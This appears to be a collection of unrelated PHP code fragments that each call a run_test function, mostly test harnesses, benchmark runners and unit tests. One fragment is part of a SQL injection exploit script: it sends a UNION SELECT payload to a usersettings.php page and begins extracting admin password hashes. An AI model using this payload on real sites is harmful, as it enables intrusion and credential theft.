function process_line($line) { global $ua, $num_skipped; if (preg_match('!^#!', $line)) { return; } else { if (preg_match('!^\\t!', $line)) { $line = trim($line); if (is_null($ua)) { echo "found match line with no UA: {$line}\n"; return; } $parts = preg_split('!\\s+!', $line); run_test($ua, $parts); $ua = null; } else { if ($ua) { $num_skipped++; } $line = trim($line); if (strlen($line)) { $ua = $line; } else { $ua = null; } } } }
<?php $dir = dirname(__FILE__); function run_test($name) { $args = array('verbose' => true); require_once $name . ".php"; } require "{$dir}/../tpt/tpt/tpt.php"; require "{$dir}/../monty/bootstrap.php"; run_test("App"); run_test("Model");
public function key() { return key($this->data); } public function next() { next($this->data); } public function rewind() { echo "hagfish\n"; reset($this->data); } public function valid() { return current($this->data); } } function run_test() { $f = new Foo(); foreach ($f as $value) { echo $value . "\n"; } (yield 1230); foreach ($f as $value) { echo $value . "\n"; } } foreach (run_test() as $_) { }
println(); println("Unit testing csv {$csv_name} against bin {$bin_name}"); println(); println(); println("----------- NO CACHING ------------------"); $ip2c = new ip2country($bin_name); run_test($ip2c, $csv_name); // this one caused problems before $ip2c->get_country('10.0.0.1'); $ip2c->get_country('192.116.192.9'); println("------------------------------------"); println(); println(); println("----------- CACHING ------------------"); $ip2c = new ip2country($bin_name, true); run_test($ip2c, $csv_name); // this one caused problems before $ip2c->get_country('10.0.0.1'); $ip2c->get_country('192.116.192.9'); println("------------------------------------"); function run_test($ip2c, $csvFile) { global $num; global $total; $num = 0; $total = 0; $csv = fopen(dirname(__FILE__) . "/{$csvFile}", "r"); if (!$csv) { ip2c_die("Error opening {$csvfile}"); } $row = 0;
function benchmark_autorun() { $benchmarkGroups = array(); // add all benchmarks foreach (get_declared_classes() as $klass) { $reflector = new ReflectionClass($klass); if (preg_match("/.benchmark.php\$/", $reflector->getFileName())) { foreach ($reflector->getMethods() as $method) { if (preg_match("/^test_/", $method->name) === 0) { continue; } $benchmarkGroups[$klass][] = $method; } } } if (!isset($_GET['action'])) { $_GET['action'] = 'display_runner'; } switch ($_GET['action']) { case "run": run_test($_GET['class'], $_GET['method']); break; default: display_runner($benchmarkGroups); break; } }
function run_all_tests($test_files, $env, $redir_tested = null) { global $test_results, $failed_tests_file, $php, $test_cnt, $test_idx; foreach ($test_files as $name) { if (is_array($name)) { $index = "# {$name['1']}: {$name['0']}"; if ($redir_tested) { $name = $name[0]; } } else { if ($redir_tested) { $index = "# {$redir_tested}: {$name}"; } else { $index = $name; } } $test_idx++; $result = run_test($php, $name, $env); if (!is_array($name) && $result != 'REDIR') { $test_results[$index] = $result; if ($failed_tests_file && ($result == 'XFAILED' || $result == 'FAILED' || $result == 'WARNED' || $result == 'LEAKED')) { fwrite($failed_tests_file, "{$index}\n"); } } } }
function do_test($filename) { global $result_dir, $verbose, $n_test, $n_pass, $n_fail; # Get the test name (xyz) from the filename (/path/to/xyz.ext). # This is also used to build the stdout and stderr names. # Note: PATHINFO_FILENAME was added in PHP-5.2. $test_name = pathinfo($filename, PATHINFO_FILENAME); # Make sure the test script exists. if (!is_readable($filename)) { test_fail($test_name, "Script not found: {$filename}\n"); return; } $output_file = $result_dir . DIRECTORY_SEPARATOR . $test_name . '.out'; $error_file = $result_dir . DIRECTORY_SEPARATOR . $test_name . '.err'; if ($verbose > 1) { lecho("Test: {$test_name}\n" . " Script: {$filename}\n" . " Output to: {$output_file}\n" . " Errors to: {$error_file}\n"); } # Run the test, and handle the result (pass, fail, or skip): $n_test++; run_test($test_name, $filename, $output_file, $error_file); }
{ global $cwd; $ta = strpos($a, "{$cwd}/tests") === 0 ? 1 + (strpos($a, "{$cwd}/tests/run-test") === 0 ? 1 : 0) : 0; $tb = strpos($b, "{$cwd}/tests") === 0 ? 1 + (strpos($b, "{$cwd}/tests/run-test") === 0 ? 1 : 0) : 0; if ($ta == $tb) { return strcmp($a, $b); } else { return $tb - $ta; } } $test_files = array_unique($test_files); usort($test_files, "test_sort"); $start_time = time(); echo "TIME START " . date('Y-m-d H:i:s', $start_time) . "\n=====================================================================\n"; foreach ($test_files as $name) { $test_results[$name] = run_test($php, $name); } $end_time = time(); // Summarize results if (0 == count($test_results)) { echo "No tests were run.\n"; return; } $n_total = count($test_results); $n_total += $ignored_by_ext; $sum_results = array('PASSED' => 0, 'WARNED' => 0, 'SKIPPED' => 0, 'FAILED' => 0); foreach ($test_results as $v) { $sum_results[$v]++; } $sum_results['SKIPPED'] += $ignored_by_ext; $percent_results = array();
function run_all_tests($test_files, $redir_tested = NULL) { global $test_results, $failed_tests_file, $php, $test_cnt, $test_idx; foreach ($test_files as $name) { $index = is_array($name) ? $name[0] : $name; $test_idx++; $result = run_test($php, $name); if (!is_array($name) && $result != 'REDIR') { $test_results[$index] = $result; if ($failed_tests_file && ($result == 'FAILED' || $result == 'WARNED')) { if ($redir_tested) { fwrite($failed_tests_file, "# {$redir_tested}: {$name}\n"); } else { fwrite($failed_tests_file, "{$name}\n"); } } } } }
?> <ul id='list'> </ul> <script type="text/javascript"> files = <?php emit_js_array(&$test_files); ?> ; </script> <?php } if (isset($_GET['test'])) { // // run specified test // run_test($_GET['test'], $_GET['location']); } else { ?> <html><head> <title>PHPT Phalanger Tester</title> <script type="text/javascript" src="jquery-1.6.2.min.js"></script> <script type="text/javascript" src="tests.js"></script> <style> .state{display:none;} .error{color:#f0f;} .pass{color:#0f0;} .fail{color:#f00;} .skip{color:#888;} </style> </head><body> <?php
if ($argc > 1) { if ($argv[1] == "-h" || $argv[1] == "help") { usage(); return false; } // run only tests specified $tests = array_splice($argv, 1); foreach ($tests as $testname) { if (run_test($testname)) { $succeeded++; } else { $failed++; } } } else { foreach ($ALL_TESTS as $testname) { if (run_test($testname)) { $succeeded++; } else { $failed++; } } } print "{$succeeded} tests passed, {$failed} tests failed.\n"; if ($succeeded && !$failed) { print "SUCCESS\n"; return true; } else { print "FAILED\n"; return false; }
<tr class="orange"> <td> </td> <?php for ($ff = 0; $ff < $looper; $ff++) { ?> <td> <?php echo roundme($first + ($time_3[$ff] - $time_2[$ff]) + ($time_4[$ff] - $time_3[$ff]) + ($time_5[$ff] - $time_4[$ff])); ?> </td> <?php } ?> </tr> </tbody> </table> <br><br> <?php } function roundme($value, $nums = 6) { return round($value, $nums); } for ($all_t = 1; $all_t <= 2; $all_t++) { run_test($all_t); } ?> </body>
?> <a class="btn btn-secondary" href="<?php echo $url; ?> &do=philgo-banner">배너</a> <?php } ?> </nav> <div class="of-content jumbotron"> <?php switch (http_input('do')) { case 'test': return run_test(); case 'model-list': case 'install': case 'uninstall': include sys()->template('model-list'); return; case 'entity-list': include sys()->template('entity-list'); return; case 'file-upload-test': include sys()->template('file-upload-test'); return; case 'philgo-banner': return include sys()->template('philgo-banner'); default: echo '<h1>No action</h1>';
function run_test($php, $file, $test_cnt, $test_idx) { global $log_format, $info_params, $ini_overwrites, $cwd, $PHP_FAILED_TESTS, $pass_options, $DETAILED, $IN_REDIRECT; if ($DETAILED) { echo "\n=================\nTEST {$file}\n"; } // Load the sections of the test file. $section_text = array('TEST' => '', 'SKIPIF' => '', 'GET' => '', 'ARGS' => ''); $fp = @fopen($file, "r") or error("Cannot open test file: {$file}"); $borked = false; $bork_info = ''; if (!feof($fp)) { $line = fgets($fp); } else { $bork_info = "empty test [{$file}]"; $borked = true; } if (!ereg('^--TEST--', $line, $r)) { $bork_info = "tests must start with --TEST-- [{$file}]"; $borked = true; } $section = 'TEST'; while (!feof($fp)) { $line = fgets($fp); // Match the beginning of a section. if (ereg('^--([A-Z]+)--', $line, $r)) { $section = $r[1]; $section_text[$section] = ''; continue; } // Add to the section text. $section_text[$section] .= $line; } // the redirect section allows a set of tests to be reused outside of // a given test dir if (@count($section_text['REDIRECTTEST']) == 1) { if ($IN_REDIRECT) { $borked = true; $bork_info = "Can't redirect a test from within a redirected test"; } else { $borked = false; } } else { if (@count($section_text['FILE']) != 1) { $bork_info = "missing section --FILE-- [{$file}]"; $borked = true; } if (@count($section_text['EXPECT']) + @count($section_text['EXPECTF']) + @count($section_text['EXPECTREGEX']) != 1) { $bork_info = "missing section --EXPECT--, --EXPECTF-- or --EXPECTREGEX-- [{$file}]"; $borked = true; print_r($section_text); } } fclose($fp); if ($borked) { echo "BORK {$bork_info} [{$file}]\n"; $PHP_FAILED_TESTS['BORKED'][] = array('name' => $file, 'test_name' => '', 'output' => '', 'diff' => '', 'info' => $bork_info); return 'BORKED'; } /* For GET/POST tests, check if cgi sapi is available and if it is, use it. */ if (!empty($section_text['GET']) || !empty($section_text['POST'])) { if (file_exists("./sapi/cgi/php")) { $old_php = $php; $php = realpath("./sapi/cgi/php") . ' -C '; } } $shortname = str_replace($cwd . '/', '', $file); $tested = trim($section_text['TEST']) . " [{$shortname}]"; echo "TEST {$test_idx}/{$test_cnt} [{$shortname}]\r"; flush(); if (is_array($IN_REDIRECT)) { $tmp = $IN_REDIRECT['dir']; } else { $tmp = realpath(dirname($file)); } $diff_filename = $tmp . DIRECTORY_SEPARATOR . ereg_replace('\\.phpt$', '.diff', basename($file)); $log_filename = $tmp . DIRECTORY_SEPARATOR . ereg_replace('\\.phpt$', '.log', basename($file)); $exp_filename = $tmp . DIRECTORY_SEPARATOR . ereg_replace('\\.phpt$', '.exp', basename($file)); $output_filename = $tmp . DIRECTORY_SEPARATOR . ereg_replace('\\.phpt$', '.out', basename($file)); $tmp_skipif = $tmp . DIRECTORY_SEPARATOR . uniqid('/phpt.'); $tmp_file = $tmp . DIRECTORY_SEPARATOR . ereg_replace('\\.phpt$', '.php', basename($file)); $tmp_post = $tmp . DIRECTORY_SEPARATOR . uniqid('/phpt.'); if (is_array($IN_REDIRECT)) { $tested = $IN_REDIRECT['prefix'] . ' ' . trim($section_text['TEST']) . " [{$tmp_file}]"; $section_text['FILE'] = "# original source file: {$shortname}\n" . $section_text['FILE']; } @unlink($tmp_skipif); @unlink($tmp_file); @unlink($tmp_post); // unlink old test results @unlink($diff_filename); @unlink($log_filename); @unlink($exp_filename); @unlink($output_filename); // Reset environment from any previous test. putenv("REDIRECT_STATUS="); putenv("QUERY_STRING="); putenv("PATH_TRANSLATED="); putenv("SCRIPT_FILENAME="); putenv("REQUEST_METHOD="); putenv("CONTENT_TYPE="); putenv("CONTENT_LENGTH="); // Check if test should be skipped. $info = ''; $warn = false; if (array_key_exists('SKIPIF', $section_text)) { if (trim($section_text['SKIPIF'])) { $skipif_params = array(); settings2array($ini_overwrites, $skipif_params); settings2params($skipif_params); save_text($tmp_skipif, $section_text['SKIPIF']); $extra = substr(PHP_OS, 0, 3) !== "WIN" ? "unset REQUEST_METHOD; unset QUERY_STRING; unset PATH_TRANSLATED; unset SCRIPT_FILENAME; unset REQUEST_METHOD;" : ""; $output = system_with_timeout("{$extra} {$php} -q {$skipif_params} {$tmp_skipif}"); @unlink($tmp_skipif); if (eregi("^skip", trim($output))) { echo "SKIP {$tested}"; $reason = eregi("^skip[[:space:]]*(.+)\$", trim($output)) ? eregi_replace("^skip[[:space:]]*(.+)\$", "\\1", trim($output)) : FALSE; if ($reason) { echo " (reason: {$reason})\n"; } else { echo "\n"; } if (isset($old_php)) { $php = $old_php; } return 'SKIPPED'; } if (eregi("^info", trim($output))) { $reason = ereg("^info[[:space:]]*(.+)\$", trim($output)) ? ereg_replace("^info[[:space:]]*(.+)\$", "\\1", trim($output)) : FALSE; if ($reason) { $info = " (info: {$reason})"; } } if (eregi("^warn", trim($output))) { $reason = ereg("^warn[[:space:]]*(.+)\$", trim($output)) ? ereg_replace("^warn[[:space:]]*(.+)\$", "\\1", trim($output)) : FALSE; if ($reason) { $warn = true; /* only if there is a reason */ $info = " (warn: {$reason})"; } } } } if (@count($section_text['REDIRECTTEST']) == 1) { global $test_files, $test_results, $failed_tests_file; $saved_test_files = $test_files; $test_files = array(); $IN_REDIRECT = eval($section_text['REDIRECTTEST']); $IN_REDIRECT['via'] = "via [{$shortname}]\n\t"; $IN_REDIRECT['dir'] = realpath(dirname($file)); $IN_REDIRECT['prefix'] = trim($section_text['TEST']); find_files($IN_REDIRECT['TESTS']); $test_cnt += count($test_files); $GLOBALS['test_cnt'] = $test_cnt; echo "---> {$IN_REDIRECT['TESTS']} ({$tested})\n"; // set up environment foreach ($IN_REDIRECT['ENV'] as $k => $v) { putenv("{$k}={$v}"); } putenv("REDIR_TEST_DIR=" . realpath($IN_REDIRECT['TESTS']) . DIRECTORY_SEPARATOR); usort($test_files, "test_sort"); foreach ($test_files as $name) { $result = run_test($php, $name, $test_cnt, ++$test_idx); $test_results[$tested . ': ' . $name] = $result; if ($failed_tests_file && ($result == 'FAILED' || $result == 'WARNED')) { fwrite($failed_tests_file, "{$tested}: {$name}\n"); } } echo "---> {$IN_REDIRECT['TESTS']} ({$tested}) done\n"; $GLOBALS['test_idx'] = $test_idx; $test_files = $saved_test_files; // clean up environment foreach ($IN_REDIRECT['ENV'] as $k => $v) { putenv("{$k}="); } putenv("REDIR_TEST_DIR="); // a redirected test never fails $IN_REDIRECT = false; return 'PASSED'; } // Default ini settings $ini_settings = array(); // additional ini overwrites //$ini_overwrites[] = 'setting=value'; settings2array($ini_overwrites, $ini_settings); // Any special ini settings // these may overwrite the test defaults... if (array_key_exists('INI', $section_text)) { settings2array(preg_split("/[\n\r]+/", $section_text['INI']), $ini_settings); } settings2params($ini_settings); // We've satisfied the preconditions - run the test! save_text($tmp_file, $section_text['FILE']); if (array_key_exists('GET', $section_text)) { $query_string = trim($section_text['GET']); } else { $query_string = ''; } if (!empty($section_text['ENV'])) { foreach (explode("\n", $section_text['ENV']) as $env) { $env = trim($env) and putenv($env); } } putenv("REDIRECT_STATUS=1"); putenv("QUERY_STRING={$query_string}"); putenv("PATH_TRANSLATED={$tmp_file}"); putenv("SCRIPT_FILENAME={$tmp_file}"); $args = $section_text['ARGS'] ? ' -- ' . $section_text['ARGS'] : ''; if (array_key_exists('POST', $section_text) && !empty($section_text['POST'])) { $post = trim($section_text['POST']); save_text($tmp_post, $post); $content_length = strlen($post); putenv("REQUEST_METHOD=POST"); putenv("CONTENT_TYPE=application/x-www-form-urlencoded"); putenv("CONTENT_LENGTH={$content_length}"); $cmd = "{$php}{$pass_options}{$ini_settings} -f \"{$tmp_file}\" 2>&1 < {$tmp_post}"; } else { putenv("REQUEST_METHOD=GET"); putenv("CONTENT_TYPE="); putenv("CONTENT_LENGTH="); if (empty($section_text['ENV'])) { $cmd = "{$php}{$pass_options}{$ini_settings} -f \"{$tmp_file}\" {$args} 2>&1"; } else { $cmd = "{$php}{$pass_options}{$ini_settings} < \"{$tmp_file}\" {$args} 2>&1"; } } if ($DETAILED) { echo "\nCONTENT_LENGTH = " . getenv("CONTENT_LENGTH") . "\nCONTENT_TYPE = " . getenv("CONTENT_TYPE") . "\nPATH_TRANSLATED = " . getenv("PATH_TRANSLATED") . "\nQUERY_STRING = " . getenv("QUERY_STRING") . "\nREDIRECT_STATUS = " . getenv("REDIRECT_STATUS") . "\nREQUEST_METHOD = " . getenv("REQUEST_METHOD") . "\nSCRIPT_FILENAME = " . getenv("SCRIPT_FILENAME") . "\nCOMMAND {$cmd}\n"; } // $out = `$cmd`; $out = system_with_timeout($cmd); if (!empty($section_text['ENV'])) { foreach (explode("\n", $section_text['ENV']) as $env) { $env = explode('=', $env); putenv($env[0] . '='); } } @unlink($tmp_post); // Does the output match what is expected? $output = trim($out); $output = preg_replace('/\\r\\n/', "\n", $output); /* when using CGI, strip the headers from the output */ if (isset($old_php) && ($pos = strpos($output, "\n\n")) !== FALSE) { $output = substr($output, $pos + 2); } if (isset($section_text['EXPECTF']) || isset($section_text['EXPECTREGEX'])) { if (isset($section_text['EXPECTF'])) { $wanted = trim($section_text['EXPECTF']); } else { $wanted = trim($section_text['EXPECTREGEX']); } $wanted_re = preg_replace('/\\r\\n/', "\n", $wanted); if (isset($section_text['EXPECTF'])) { $wanted_re = preg_quote($wanted_re, '/'); // Stick to basics $wanted_re = str_replace("%e", '\\' . DIRECTORY_SEPARATOR, $wanted_re); $wanted_re = str_replace("%s", ".+?", $wanted_re); //not greedy $wanted_re = str_replace("%i", "[+\\-]?[0-9]+", $wanted_re); $wanted_re = str_replace("%d", "[0-9]+", $wanted_re); $wanted_re = str_replace("%x", "[0-9a-fA-F]+", $wanted_re); $wanted_re = str_replace("%f", "[+\\-]?\\.?[0-9]+\\.?[0-9]*(E-?[0-9]+)?", $wanted_re); $wanted_re = str_replace("%c", ".", $wanted_re); // %f allows two points "-.0.0" but that is the best *simple* expression } /* DEBUG YOUR REGEX HERE var_dump($wanted_re); print(str_repeat('=', 80) . "\n"); var_dump($output); */ if (preg_match("/^{$wanted_re}\$/s", $output)) { @unlink($tmp_file); echo "PASS {$tested}\n"; if (isset($old_php)) { $php = $old_php; } return 'PASSED'; } } else { $wanted = trim($section_text['EXPECT']); $wanted = preg_replace('/\\r\\n/', "\n", $wanted); // compare and leave on success $ok = 0 == strcmp($output, $wanted); if ($ok) { @unlink($tmp_file); echo "PASS {$tested}\n"; if (isset($old_php)) { $php = $old_php; } return 'PASSED'; } $wanted_re = NULL; } // Test failed so we need to report details. if ($warn) { echo "WARN {$tested}{$info}\n"; } else { echo "FAIL {$tested}{$info}\n"; } $PHP_FAILED_TESTS['FAILED'][] = array('name' => $file, 'test_name' => (is_array($IN_REDIRECT) ? $IN_REDIRECT['via'] : '') . $tested, 'output' => $output_filename, 'diff' => $diff_filename, 'info' => $info); // write .exp if (strpos($log_format, 'E') !== FALSE) { $log = fopen($exp_filename, 'w') or error("Cannot create test log - {$exp_filename}"); fwrite($log, $wanted); fclose($log); } // write .out if (strpos($log_format, 'O') !== FALSE) { $log = fopen($output_filename, 'w') or error("Cannot create test log - {$output_filename}"); fwrite($log, $output); fclose($log); } // write .diff if (strpos($log_format, 'D') !== FALSE) { $log = fopen($diff_filename, 'w') or error("Cannot create test log - {$diff_filename}"); fwrite($log, generate_diff($wanted, $wanted_re, $output)); fclose($log); } // write .log if (strpos($log_format, 'L') !== FALSE) { $log = fopen($log_filename, 'w') or error("Cannot create test log - {$log_filename}"); fwrite($log, "\n---- EXPECTED OUTPUT\n{$wanted}\n---- ACTUAL OUTPUT\n{$output}\n---- FAILED\n"); fclose($log); error_report($file, $log_filename, $tested); } if (isset($old_php)) { $php = $old_php; } return $warn ? 'WARNED' : 'FAILED'; }
function run_stress_tests($server, $debug = 0, $output = null) { global $wiki_dmap; run_no_param_test($server, $debug, $output, "wiki.getRPCVersionSupported"); // of the last day: run_test($server, $debug, $output, "wiki.getRecentChanges", iso8601_encode(time() - 86400, 1)); /* ... */ }
$tmp = explode(">", $tmp[1]); $s = $tmp[0]; if (stripos($s, "\"checked\"")) { return 1; } else { return 0; } } if (!$_use_ck) { $cookies = login(); } $url = "http://{$host}:{$port}" . $path . "usersettings.php"; $prefix = xtrct_prefix(); print "[*] prefix->'" . $prefix . "'\n"; if (!$_skiptest) { run_test(); } if ($_test) { die; } #uncheck all boxes $rst_sql = "0) AND 0 UNION SELECT 1,0x61646d696e5f626c6f636b FROM " . $prefix . "users WHERE " . $where . " LIMIT 1/*"; $out = _s($url, $cookies, 1, "mode=savepreferences&" . $prefix . "blocks[0]=" . urlencode($rst_sql) . "&"); #then start extraction $c = array(); $c = array_merge($c, range(0x30, 0x39)); $c = array_merge($c, range(0x61, 0x66)); $url = "http://{$host}:{$port}" . $path; $_hash = ""; print "[*] Initiating hash extraction ...\n"; for ($j = 1; $j < 0x21; $j++) {
<?php require_once '../lib/header_ajax.php'; require_once '../lib/lib_generator.php'; if (!is_admin()) { return; } $res = run_test(); $result['error'] = int(!$res['success']); $result['output'] = htmlspecialchars($res['output']); log_timing(true); die(json_encode($result));
function run_stress_tests($server, $debug = 0, $output = null) { global $decl_1, $decl_2, $decl_3, $decl_4; run_test($server, $debug, $output, "interopEchoTests.echoString", "XML Comment in a string: <!-- A comment -->"); run_test($server, $debug, $output, "interopEchoTests.echoInteger", 4200000000); run_test($server, $debug, $output, "interopEchoTests.echoFloat", 1.2); run_test($server, $debug, $output, "interopEchoTests.echoStruct", array("varFloat" => 1.2345, "varInt" => 186000, "varString" => "18 > 2 && 2 < 18 && 42 == the answer to life, the universe, and everything")); run_test($server, $debug, $output, "interopEchoTests.echoStringArray", array($decl_1, $decl_2, $decl_3, $decl_4, "non-ascii chars above 127 (165-170): ¥, ¦, §, ¨, ©, ª")); run_test($server, $debug, $output, "interopEchoTests.echoIntegerArray", array(23, 234, 1, 0, -10, 999)); run_test($server, $debug, $output, "interopEchoTests.echoFloatArray", array(2.45, 9.9999)); run_test($server, $debug, $output, "interopEchoTests.echoStructArray", array(array("varFloat" => 1.2345, "varInt" => 186000, "varString" => "non-print char (8): "), array("varFloat" => 10.98765, "varInt" => 3200, "varString" => "happy little string"))); }
function main($argv) { $results = array(); if (count($argv) > 1) { $results = run_test($argv[1]); } else { $tests = glob(dirname(__FILE__) . '/*.test.php'); foreach ($tests as $test) { $results = array_merge($results, run_test($test)); } } test_printer::print_results($results); }
<?php $test_values = array(OPENSSL_ALGO_SHA1, OPENSSL_ALGO_MD5, OPENSSL_ALGO_MD4); function run_test($value) { $data = 'DATA TO SIGN'; $signature = 'SIGNATURE'; $key = openssl_pkey_new(); $private_key = openssl_get_privatekey($key); $public_key = openssl_pkey_get_details($key)['key']; try { var_dump(openssl_sign($data, $signature, $private_key, $value)); } catch (Exception $e) { echo $e->getMessage() . "\n"; } try { var_dump(openssl_verify($data, $signature, $public_key, $value)); } catch (Exception $e) { echo $e->getMessage() . "\n"; } openssl_free_key($key); } $test_values = array_merge($test_values, openssl_get_md_methods()); foreach ($test_values as $test_value) { run_test($test_value); }
* Alias to functions: */ echo "*** Testing file_put_contents() : usage variation ***\n"; $filename = dirname(__FILE__) . '/filePutContentsVar9.tmp'; $softlink = dirname(__FILE__) . '/filePutContentsVar9.SoftLink'; $hardlink = dirname(__FILE__) . '/filePutContentsVar9.HardLink'; $chainlink = dirname(__FILE__) . '/filePutContentsVar9.ChainLink'; // link files even though it original file doesn't exist yet symlink($filename, $softlink); symlink($softlink, $chainlink); // perform tests run_test($chainlink); run_test($softlink); //can only create a hardlink if the file exists. file_put_contents($filename, ""); link($filename, $hardlink); run_test($hardlink); unlink($chainlink); unlink($softlink); unlink($hardlink); unlink($filename); function run_test($file) { $data = "Here is some data"; $extra = ", more data"; var_dump(file_put_contents($file, $data)); var_dump(file_put_contents($file, $extra, FILE_APPEND)); readfile($file); echo "\n"; } echo "\n*** Done ***\n";